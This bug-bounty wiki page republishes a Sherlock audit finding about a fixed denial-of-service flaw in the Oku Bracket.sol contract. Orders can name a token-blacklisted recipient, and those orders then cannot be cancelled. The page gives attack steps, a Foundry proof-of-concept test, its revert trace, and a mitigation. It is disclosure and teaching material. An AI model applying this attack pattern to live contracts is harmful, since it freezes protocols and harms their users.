Malicious User can Poison Bracket.sol with Blacklisted Accounts
The order creation function does not check whether the recipient address is blacklisted by the token, so an attacker can create cheap orders with a blacklisted recipient. These orders cannot be cancelled because the cancellation function tries to refund the blacklisted address, allowing the attacker to fill the pending orders array and cause a denial of service.
Boy2000 Follow with PoeAudits and iamandreiski
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/424
Found by
Boy2000, PoeAudits, iamandreiski
Summary
The missing check for blacklisted accounts when creating orders allows users to specify a blacklisted account as the recipient of an easily executable order to freeze execution of the orderbook. This will also prevent the order from being canceled by the admin, since the cancelOrder function attempts to send tokens to the order.recipient, which is blacklisted. This can be used to fill up the arrays which contain pendingOrders, which will eventually DOS the protocol when the maxPendingOrders is reached.
Root Cause
The protocol expects to use tokens with blacklists, and allows users to specify the recipient address where tokens will be sent without properly validation if transferring tokens is possible to the recipient address.
Bracket.sol:procureTokens uniquely uses msg.sender to take the tokens from:
This allows a non-blacklisted address to create and pay for an order for a blacklisted account. This then becomes uncancelable due to the Bracket.sol:_cancelOrder function attempting to return these tokens to the order.recipient:
Internal pre-conditions
- A token with a blacklist is added to the protocol.
External pre-conditions
- The token must have a blacklist.
Attack Path
- The attacker calls createOrder in Bracket.sol with the recipient field set to a blacklisted address for a token pair added to the protocol as cheaply as possible.
- The attacker repeats this until the pendingOrderIds array is full of uncancelable orders.
Impact
This will cause a DOS to the protocol when the pendingOrderIds reaches maxPendingOrders:
This will also cause the ArrayMutation:removeFromArray to explode in gas costs.
PoC
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2 as console} from "lib/forge-std/src/Test.sol";
import {Gas} from "test/Gas.sol";
import "src/automatedTrigger/IAutomation.sol";
import {OracleLess} from "src/automatedTrigger/OracleLess.sol";
import {AutomationMaster} from "src/automatedTrigger/AutomationMaster.sol";
import {Bracket} from "src/automatedTrigger/Bracket.sol";
import {StopLimit} from "src/automatedTrigger/StopLimit.sol";
import {IPermit2} from "src/interfaces/uniswapV3/IPermit2.sol";
import {IERC20} from "src/interfaces/openzeppelin/IERC20.sol";
contract Setup is Test, Gas {
AutomationMaster internal automation;
OracleLess internal oracleLess;
Bracket internal bracket;
StopLimit internal stopLimit;
IPermit2 internal permit;
IERC20 internal weth = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IERC20 internal usdc = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831);
address internal _alice = address(0x1111);
address internal _bob = address(0x2222);
address internal _admin = address(0x12345);
address internal _wethWhale = 0xC6962004f452bE9203591991D15f6b388e09E8D0;
address internal _usdcWhale = 0x70d95587d40A2caf56bd97485aB3Eec10Bee6336;
function setUp() public virtual {
uint256 forkId = vm.createSelectFork("http:127.0.0.1:8545");
vm.startPrank(_admin);
automation = new AutomationMaster();
permit = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3);
bracket = new Bracket(IAutomationMaster(address(automation)), permit);
stopLimit = new StopLimit(
IAutomationMaster(address(automation)),
IBracket(address(bracket)),
permit
);
oracleLess = new OracleLess(automation, permit);
vm.stopPrank();
vm.startPrank(_wethWhale);
weth.transfer(_alice, 10 ether);
weth.transfer(_bob, 10 ether);
vm.stopPrank();
vm.startPrank(_usdcWhale);
usdc.transfer(_alice, 10000e6);
usdc.transfer(_bob, 10000e6);
vm.stopPrank();
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = weth;
tokens[1] = usdc;
IPythRelay[] memory relays = new IPythRelay[](2);
relays[0] = IPythRelay(0x384542D720A765aE399CFDDF079CBE515731F044);
relays[1] = IPythRelay(0x9BDb5575E24EEb2DCA7Ba6CE367d609Bdeb38246);
vm.prank(_admin);
automation.registerOracle(tokens, relays);
vm.prank(_admin);
automation.setMaxPendingOrders(100);
}
function testBlacklist() public {
address blacklisted = 0xE1D865c3D669dCc8c57c8D023140CB204e672ee4;
vm.startPrank(_alice);
usdc.approve(address(bracket), 1e6);
bracket.createOrder(
bytes(""),
0,
0,
1e6,
usdc,
weth,
blacklisted,
0,
0,
0,
false,
bytes(abi.encode(""))
);
vm.stopPrank();
vm.startPrank(_admin);
vm.expectRevert();
bracket.adminCancelOrder(39339196620263951948733905105);
vm.stopPrank();
}
}
With the result being a revert from the usdc contract:
├─ [10903] Bracket::adminCancelOrder(39339196620263951948733905105 [3.933e28])
│ ├─ [3777] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(0xE1D865c3D669dCc8c57c8D023140CB204e672ee4, 1000000 [1e6])
│ │ ├─ [3058] 0x86E721b43d4ECFa71119Dd38c0f938A75Fdb57B3::transfer(0xE1D865c3D669dCc8c57c8D023140CB204e672ee4, 1000000 [1e6]) [delegatecall]
│ │ │ └─ ← [Revert] revert: Blacklistable: account is blacklisted
│ │ └─ ← [Revert] revert: Blacklistable: account is blacklisted
│ └─ ← [Revert] revert: Blacklistable: account is blacklisted
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Return]
Mitigation
The protocol should add validation for the recipient address for blacklisted users of the tokens added to the protocol that contain a blacklist.
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/gfx-labs/oku-custom-order-types/pull/1
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The protocol allows users to specify an arbitrary recipient for orders without validating that the recipient can receive the token, so orders with blacklisted recipients become uncancelable.
Impact
This can cause a denial of service when pendingOrderIds reaches maxPendingOrders, and it also makes array removal extremely gas-expensive.
What the attacker needed
A token with a blacklist is added to the protocol; Attacker has enough tokens to create many orders
The fix
The protocol was fixed by adding validation for the recipient address against the token's blacklist.
How it was found
- The attacker calls createOrder with the recipient set to a blacklisted address for a token pair, using the smallest possible amount.
- The attacker repeats this until the pendingOrderIds array is full of uncancelable orders.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some tokens can blacklist certain addresses, meaning those addresses cannot send or receive the token. This protocol lets you create an order and choose who receives the tokens later, but it never checks if that recipient is blacklisted. An attacker can create many tiny orders pointing to a blacklisted address; when the admin tries to cancel them, the token transfer fails, so the orders get stuck and fill up the system.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.